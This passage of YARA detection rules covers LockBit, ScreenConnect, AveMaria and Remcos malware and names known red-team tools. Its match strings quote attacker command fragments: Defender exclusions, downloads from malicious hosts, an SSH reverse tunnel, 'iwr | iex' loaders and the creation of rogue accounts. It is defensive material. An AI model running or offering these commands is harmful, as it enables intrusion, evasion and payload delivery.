		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L24-L39"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9be42742711b4d0440244b507945e074b61c456588580b3263f899a7eb84d8aa"
		score = 80
		quality = 85
		tags = "CVE-2023-4966, FILE"
		hash1 = "e557e1440e394537cca71ed3d61372106c3c70eb6ef9f07521768f23a0974068"
	strings:
		$op1 = { C7 84 24 ?? ?? ?? ?? 52 70 63 53 C7 84 24 ?? ?? ?? ?? 74 72 69 6E C7 84 24 ?? ?? ?? ?? 67 42 69 6E C7 84 24 ?? ?? ?? ?? 64 69 6E 67 C7 84 24 ?? ?? ?? ?? 43 6F 6D 70 C7 84 24 ?? ?? ?? ?? 6F 73 65 41 C7 84 24 ?? ?? ?? ?? 00 40 01 01 }
		$op2 = { C7 84 24 ?? ?? ?? ?? 6C 73 61 73 C7 84 24 ?? ?? ?? ?? 73 70 69 72 66 C7 84 24 ?? ?? 00 00 70 63 }
		$op3 = { C7 84 24 ?? ?? ?? ?? 4E 64 72 43 C7 84 24 ?? ?? ?? ?? 6C 69 65 6E C7 84 24 ?? ?? ?? ?? 74 43 61 6C C7 84 24 ?? ?? ?? ?? 6C 33 00 8D }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SIGNATURE_BASE_MAL_DLL_Stealer_Nov23 : CVE_2023_4966 FILE
{
	meta:
		description = "Detects a DLL that steals authentication credentials - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
		author = "X__Junior"
		id = "9cfed8ec-1d04-53d7-88ef-2576075cfc33"
		date = "2023-11-23"
		modified = "2023-12-05"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L41-L54"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7d0c46d855973cb2c0636aed9c67cfbe47ca260ab1bc842fef1d532725c26910"
		score = 80
		quality = 85
		tags = "CVE-2023-4966, FILE"
		hash1 = "17a27b1759f10d1f6f1f51a11c0efea550e2075c2c394259af4d3f855bbcc994"
	strings:
		$op1 = { C7 45 ?? 4D 69 6E 69 C7 45 ?? 44 75 6D 70 C7 45 ?? 57 72 69 74 C7 45 ?? 65 44 75 6D C7 45 ?? 70 00 27 00 C7 45 ?? 44 00 62 00 C7 45 ?? 67 00 68 00 C7 45 ?? 65 00 6C 00 C7 45 ?? 70 00 2E 00 C7 45 ?? 64 00 6C 00 C7 45 ?? 6C 00 00 00}
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule SIGNATURE_BASE_MAL_Python_Backdoor_Script_Nov23 : CVE_2023_4966 FILE
{
	meta:
		description = "Detects a trojan (written in Python) that communicates with c2 - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
		author = "X__Junior"
		id = "861f9ce3-3c54-5c56-b50b-2b7536783f6e"
		date = "2023-11-23"
		modified = "2023-12-05"
		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L56-L71"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "b336f6438a420af49b1b0144039f1051f12c0c54f77a94e2f947f71d1f6230b3"
		score = 80
		quality = 85
		tags = "CVE-2023-4966, FILE"
		hash1 = "906602ea3c887af67bcb4531bbbb459d7c24a2efcb866bcb1e3b028a51f12ae6"
	strings:
		$s1 = "port = 443 if \"https\"" ascii
		$s2 = "winrm.Session basic error" ascii
		$s3 = "Windwoscmd.run_cmd(str(cmd))" ascii
	condition:
		filesize < 50KB and all of them
}

rule SIGNATURE_BASE_SUSP_Screenconnect_User_Poc_Com_Unused_Feb24 : FILE
{
	meta:
		description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account wasn't actually used yet to login"
		author = "Florian Roth"
		id = "c57e6c6a-298f-5ff3-b76a-03127ff88699"
		date = "2024-02-23"
		modified = "2024-04-24"
		reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L20-L38"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2433ad11ca1d9f970eb3c536a13f07e808c2a0b8b0dd625dffbe4947268ab8f5"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "<Users xmlns:xsi="
		$a2 = "<CreationDate>"
		$s1 = "@poc.com</Email>"
		$s2 = "<LastLoginDate>0001"
	condition:
		filesize < 200KB and all of ( $a* ) and all of ( $s* )
}

rule SIGNATURE_BASE_SUSP_Screenconnect_User_Poc_Com_Used_Feb24 : FILE
{
	meta:
		description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account was already used yet to login"
		author = "Florian Roth"
		id = "91990558-f145-5968-9722-b6815f6ad8d5"
		date = "2024-02-23"
		modified = "2024-04-24"
		reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L40-L60"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "50967a07a9789f20ccbc882c3b9e3142f0c28068c0a58b9d8927d725d02bf289"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$a1 = "<Users xmlns:xsi="
		$a2 = "<CreationDate>"
		$s1 = "@poc.com</Email>"
		$f1 = "<LastLoginDate>0001"
	condition:
		filesize < 200KB and all of ( $a* ) and $s1 and not 1 of ( $f* )
}

rule SIGNATURE_BASE_SUSP_Screenconnect_Exploitation_Artefacts_Feb24 : SCRIPT
{
	meta:
		description = "Detects post exploitation indicators observed by HuntressLabs in relation to the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
		author = "Florian Roth"
		id = "079f4153-8bc7-574f-b6fa-af5536b842ab"
		date = "2024-02-23"
		modified = "2024-04-24"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L62-L103"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6f0d5f878847da1afb0d7b83e84bd337cfa67c36da2cbb33af712ed4ffad490a"
		score = 75
		quality = 83
		tags = "SCRIPT"
	strings:
		$x01 = "-c foreach ($disk in Get-WmiObject Win32_Logicaldisk){Add-MpPreference -ExclusionPath $disk.deviceid}"
		$x02 = ".msi c:\\mpyutd.msi"
		$x03 = "/MyUserName_$env:UserName"
		$x04 = " -OutFile C:\\Windows\\Help\\"
		$x05 = "/Create /TN \\\\Microsoft\\\\Windows\\\\Wininet\\\\UserCache_"
		$x06 = "$e = $r + \"ssh.exe\""
		$x07 = "Start-Process -f $e -a $args -PassThru -WindowStyle Hidden).Id"
		$x08 = "-R 9595:localhost:3389 -p 443 -N -oStrictHostKeyChecking=no "
		$x09 = "chromeremotedesktophost.msi', $env:ProgramData+"
		$x10 = "9595; iwr -UseBasicParsing "
		$x11 = "curl  https://cmctt.]com/pub/media/wysiwyg/"
		$x12 = ":8080/servicetest2.dll"
		$x13 = "/msappdata.msi c:\\mpyutd.msi"
		$x14 = "/svchost.exe -OutFile "
		$x15 = "curl http://minish.wiki.gd"
		$x16 = " -Headers @{'ngrok-skip-browser-warning'='true'} -OutFile "
		$x17 = "rundll32.exe' -Headers @"
		$x18 = "/nssm.exe' -Headers @"
		$x19 = "c:\\programdata\\update.dat UpdateSystem"
		$x20 = "::size -eq 4){\\\"TVqQAA" ascii wide
		$x21 = "::size -eq 4){\"TVqQAA" ascii wide
		$x22 = "-nop -c [System.Reflection.Assembly]::Load(([WmiClass]'root\\cimv2:System_"
		$xp0 = "/add default test@2021! /domain"
		$xp1 = "/add default1 test@2021! /domain"
		$xp2 = "oldadmin Pass8080!!"
		$xp3 = "temp 123123qwE /add "
		$xp4 = "oldadmin \"Pass8080!!\""
		$xp5 = "nssm set xmrig AppDirectory "
	condition:
		1 of ( $x* )
}

rule SIGNATURE_BASE_SUSP_Command_Line_Combos_Feb24_2 : SCRIPT FILE
{
	meta:
		description = "Detects suspicious command line combinations often found in post exploitation activities"
		author = "Florian Roth"
		id = "d9bc6083-c3ca-5639-a9df-483fea6d0187"
		date = "2024-02-23"
		modified = "2024-04-24"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L105-L118"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0cd7b4771aa8fd622e873c5cdc6689d24394e5faf026b36d5f228ac09f4e0441"
		score = 75
		quality = 85
		tags = "SCRIPT, FILE"
	strings:
		$sa1 = " | iex"
		$sa2 = "iwr -UseBasicParsing "
	condition:
		filesize < 2MB and all of them
}

rule SIGNATURE_BASE_SUSP_PS1_Combo_Transfersh_Feb24 : SCRIPT
{
	meta:
		description = "Detects suspicious PowerShell command that downloads content from transfer.sh as often found in loaders"
		author = "Florian Roth"
		id = "fd14cca5-9cf8-540b-9d6e-39ca2c267272"
		date = "2024-02-23"
		modified = "2024-04-24"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L120-L135"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "64d4343ecdcbc4a28571557bec2f31c1ff73c2ecf63d0feaa0a71001bb9bf499"
		score = 70
		quality = 85
		tags = "SCRIPT"
	strings:
		$x1 = ".DownloadString('https://transfer.sh"
		$x2 = ".DownloadString(\"https://transfer.sh"
		$x3 = "Invoke-WebRequest -Uri 'https://transfer.sh"
		$x4 = "Invoke-WebRequest -Uri \"https://transfer.sh"
	condition:
		1 of them
}

rule SIGNATURE_BASE_SUSP_MAL_Signingcert_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
{
	meta:
		description = "Detects PE files signed with a certificate used to sign malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
		author = "Florian Roth"
		id = "f25ea77a-1b4e-5c13-9117-eedf0c20335a"
		date = "2024-02-23"
		modified = "2024-04-24"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L166-L184"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "824efe1fa441322d891805df9a1637ebb44d18889572604acc125bf79a2d1083"
		score = 75
		quality = 85
		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
		hash1 = "37a39fc1feb4b14354c4d4b279ba77ba51e0d413f88e6ab991aad5dd6a9c231b"
		hash2 = "e8c48250cf7293c95d9af1fb830bb8a5aaf9cfb192d8697d2da729867935c793"
	strings:
		$s1 = "Wisdom Promise Security Technology Co." ascii
		$s2 = "Globalsign TSA for CodeSign1" ascii
		$s3 = { 5D AC 0B 6C 02 5A 4B 21 89 4B A3 C2 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 70000KB and all of them
}



rule SIGNATURE_BASE_MAL_MSI_Mpyutils_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
{
	meta:
		description = "Detects malicious MSI package mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
		author = "Florian Roth"
		id = "e7794336-a325-5b92-8c25-81ed9cb28044"
		date = "2024-02-23"
		modified = "2024-04-24"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L230-L247"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ba20db486e5d3c29c9702e10628fb3c0e55e52bbec74e3a86ed6511a6475b82f"
		score = 70
		quality = 85
		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
		hash1 = "8e51de4774d27ad31a83d5df060ba008148665ab9caf6bc889a5e3fba4d7e600"
	strings:
		$s1 = "crypt64ult.exe" ascii fullword
		$s2 = "EXPAND.EXE" wide fullword
		$s6 = "ICACLS.EXE" wide fullword
	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 20000KB and all of them
}

rule SIGNATURE_BASE_MAL_Beacon_Unknown_Feb24_1 : CVE_2024_1708 CVE_2024_1709 FILE
{
	meta:
		description = "Detects malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709 "
		author = "Florian Roth"
		id = "9299fd44-5327-5a73-8299-108b710cb16e"
		date = "2024-02-23"
		modified = "2024-04-24"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_connectwise_screenconnect_vuln_feb24.yar#L249-L268"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "fd6ebc6676d677d6bc19398026eee7b7d2f9727ba7a3c79d1e970a6dc19548aa"
		score = 75
		quality = 85
		tags = "CVE-2024-1708, CVE-2024-1709, FILE"
		hash1 = "6e8f83c88a66116e1a7eb10549542890d1910aee0000e3e70f6307aae21f9090"
		hash2 = "b0adf3d58fa354dbaac6a2047b6e30bc07a5460f71db5f5975ba7b96de986243"
		hash3 = "c0f7970bed203a5f8b2eca8929b4e80ba5c3276206da38c4e0a4445f648f3cec"
	strings:
		$s1 = "Driver.dll" wide fullword
		$s2 = "X l.dlT" ascii fullword
		$s3 = "$928c7481-dd27-8e23-f829-4819aefc728c" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 3 of ( $s* )
}

rule SIGNATURE_BASE_MAL_Avemaria_RAT_Jul19 : FILE
{
	meta:
		description = "Detects AveMaria RAT"
		author = "Florian Roth (Nextron Systems)"
		id = "960048cf-7a56-50cf-8498-549f900770d8"
		date = "2019-07-01"
		modified = "2023-12-05"
		reference = "https://twitter.com/abuse_ch/status/1145697917161934856"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_avemaria_rat.yar#L2-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a848ec579db6a07faeab5c855a56889b4bfeaa2958d0388f7fe8c6dcdea7e457"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "5a927db1566468f23803746ba0ccc9235c79ca8672b1444822631ddbf2651a59"
	strings:
		$a1 = "operator co_await" fullword ascii
		$s1 = "uohlyatqn" fullword ascii
		$s2 = "index = [%d][%d][%d][%d]" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

rule SIGNATURE_BASE_Gen_Excel_Xor_Obfuscation_Velvetsweatshop : FILE
{
	meta:
		description = "Detects XOR encryption (c. 2003) in Excel file formats"
		author = "@JohnLaTwc"
		id = "8a16105c-4f43-5a35-941c-6ee9593b039c"
		date = "2020-10-09"
		modified = "2023-12-05"
		reference = "https://twitter.com/BouncyHat/status/1308896366782042113"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_excel_xor_obfuscation_velvetsweatshop.yar#L3-L25"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c38d56199d34adfc98d8032321239ab20c6eaa8abcafd56f8e1cf24fd3a4094f"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "da1999c23ee2dae02a169fd2208b9766cb8f046a895f5f52bed45615eea94da0"
		hash2 = "14a32b8a504db3775e793be59d7bd5b584ea732c3ca060b2398137efbfd18d5a"
		hash3 = "dd3e89e7bde993f6f1b280f2bf933a5cc2797f4e8736aed4010aaf46e9854f23"
		hash4 = "4e40253b382b20e273edf82362f1c89e916f7ab8d3c518818a76cb6127d4e7c2"
	strings:
		$olemarker = { D0 CF 11 E0 A1 B1 1A E1 00 00 00 }
		$FilePass_XOR_Obfuscation_VelvetSweatshop = { 2F 00 06 00 00 00 59 B3 0A 9A }
	condition:
		uint32( 0 ) == 0xe011cfd0 and filesize < 400KB and $olemarker at 0 and $FilePass_XOR_Obfuscation_VelvetSweatshop
}

rule SIGNATURE_BASE_MAL_Coralwave_Lenovospkvol_Remcosmicdrop : FILE
{
	meta:
		description = "CoralWave loader masquerading as Lenovo audio DLL. Drops Remcos RAT."
		author = "xstp"
		id = "8d9c826f-135d-5a90-b8f6-33d235dff7e6"
		date = "2026-01-01"
		modified = "2026-01-02"
		reference = "https://bazaar.abuse.ch/sample/050edadedd7947bc6418f7856a29df5b7b5550bf5eec7f5f37e9a7e1713036f6/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_coralwave_remcos_dropper.yar#L1-L29"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "65302b435a5bc30e8f0215455679635ec50b5b1caba9e55f9258d17c7238be54"
		logic_hash = "ec6303584d65cf2138ca44a1cf5e958586d9eee2e9e17a90d0942b1ebee3d01f"
		score = 85
		quality = 85
		tags = "FILE"
	strings:
		$stub_1 = "BAyXuHpAGwdG8ebXF3GvZ32vO3ORY" ascii
		$stub_2 = "IK5HT1XPlj3LoFkKi3YC4QwYQs7s" ascii
		$stub_3 = "Xmk61GHDjDfjUjJhNjwDPXxM1Cdg" ascii
		$fake_1 = "GetVolumeLevel" ascii
		$fake_2 = "OpenSpeakerVolumeInterface" ascii
		$fake_3 = "SetMuteState" ascii
		$mutex = "Rmc-245S33" wide ascii
		$log_file = "logs.dat" wide ascii
		$audio_folder = "MicRecords" wide ascii
	condition:
		filesize < 5MB and uint16( 0 ) == 0x5A4D and ( 2 of ( $stub_* ) or ( 2 of ( $fake_* ) and 1 of ( $mutex , $log_file , $audio_folder ) ) )
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Fakefilemaker : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "2c87114f-5295-583f-b567-623d478ce0eb"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/DamonMohammadbagher/FakeFileMaker"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L3-L16"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "27d402835f31b6383c837e90248ae5c6d22f4c267d52625ebfbcc2ee5099ccad"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "FakeFileMaker" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Wmipersistence : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "7a674596-c697-569d-a16c-3cefe4ff752a"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/mdsecactivebreach/WMIPersistence"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L18-L31"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f8f5e1b6d9b9e8e2f76a7e02385142bbeb755d1b1e41e501f4f74fcaba0a7dad"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "WMIPersistence" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_Adcollector_Sep22_1 : FILE
{
	meta:
		description = "Detects ADCollector Tool - a lightweight tool to quickly extract valuable information from the Active Directory environment for both attacking and defending"
		author = "Florian Roth (Nextron Systems)"
		id = "48b376e4-752b-523e-b34e-65b6944c33fb"
		date = "2022-09-15"
		modified = "2026-02-23"
		reference = "https://github.com/dev-2null/ADCollector"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L55-L75"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "66d5363e885378c442e7532f69d4c36618d7a0f5dbe67490631d1ed5078d3fba"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "241390219a0a773463601ca68b77af97453c20af00a66492a7a78c04d481d338"
		hash2 = "cc086eb7316e68661e3d547b414890d5029c5cc460134d8b628f4b0be7f27fb3"
	strings:
		$x1 = "ADCollector.exe --SPNs --Term key --Acls 'CN=Domain Admins,CN=Users,DC=lab,DC=local'" wide fullword
		$s1 = "ADCollector.exe" wide fullword
		$s2 = "ENCRYPTED_TEXT_PASSWORD_ALLOWED" ascii fullword
		$s3 = "\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf" wide
		$s4 = "[-] Password Does Not Expire Accounts:" wide
		$s5 = "  * runAs:       {0}" wide fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( 1 of ( $x* ) or 3 of them )
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Maliciousclickoncegenerator : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "683af3b4-4c91-5ff3-96bf-d5c1d9c19cc2"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/Mr-Un1k0d3r/MaliciousClickOnceGenerator"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L77-L90"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "91e5878d49ad9af5420d4e29afaa600337fb8051951598a997cd74d72c884206"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "MaliciousClickOnceGenerator" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Directinjectorpoc : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "d9a430d7-b062-554b-aff4-cfd98d91e9fe"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/badBounty/directInjectorPOC"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L92-L105"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ffdc5694668af6c82b493403373d2e2e915e45bca8d58ec1ab41c5a8bd28d781"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "directInjectorPOC" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Asstrongasfuck : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "4c63c8a2-5889-5177-9f66-8e5f755025a3"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/Charterino/AsStrongAsFuck"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L107-L120"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4765f2099bf8fa8ebccd8cdcc561354f4aeba28c2473fd8556f1ef1d5d28dadd"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "AsStrongAsFuck" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Magentoscanner : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "db3912bd-574c-57e2-a9b6-4b440d144471"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/soufianetahiri/MagentoScanner"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L122-L135"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "245dce3be07c8e84dfcd2cdb2d9f24406a9b11b437e74969f1472a6ee149fd9c"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$name = "MagentoScanner" ascii wide
		$compile = "AssemblyTitle" ascii wide
	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SIGNATURE_BASE_HKTL_NET_NAME_Revengerat_Stub_Cssharp : FILE
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		author = "Arnim Rupp"
		id = "06dce4f9-4d7a-5976-a87a-07c539e5dbe8"
		date = "2021-01-22"
		modified = "2026-02-23"
		reference = "https://github.com/NYAN-x-CAT/RevengeRAT-Stub-CSsharp"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_github_net_redteam_tools_names.yar#L137-L150"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "a3bd1f8e52e6ed468b6a4fea83456ca813b69e2d676dfab687bbea5a746fed3c"
		score = 75
		quality = 85
		tags = "FILE"
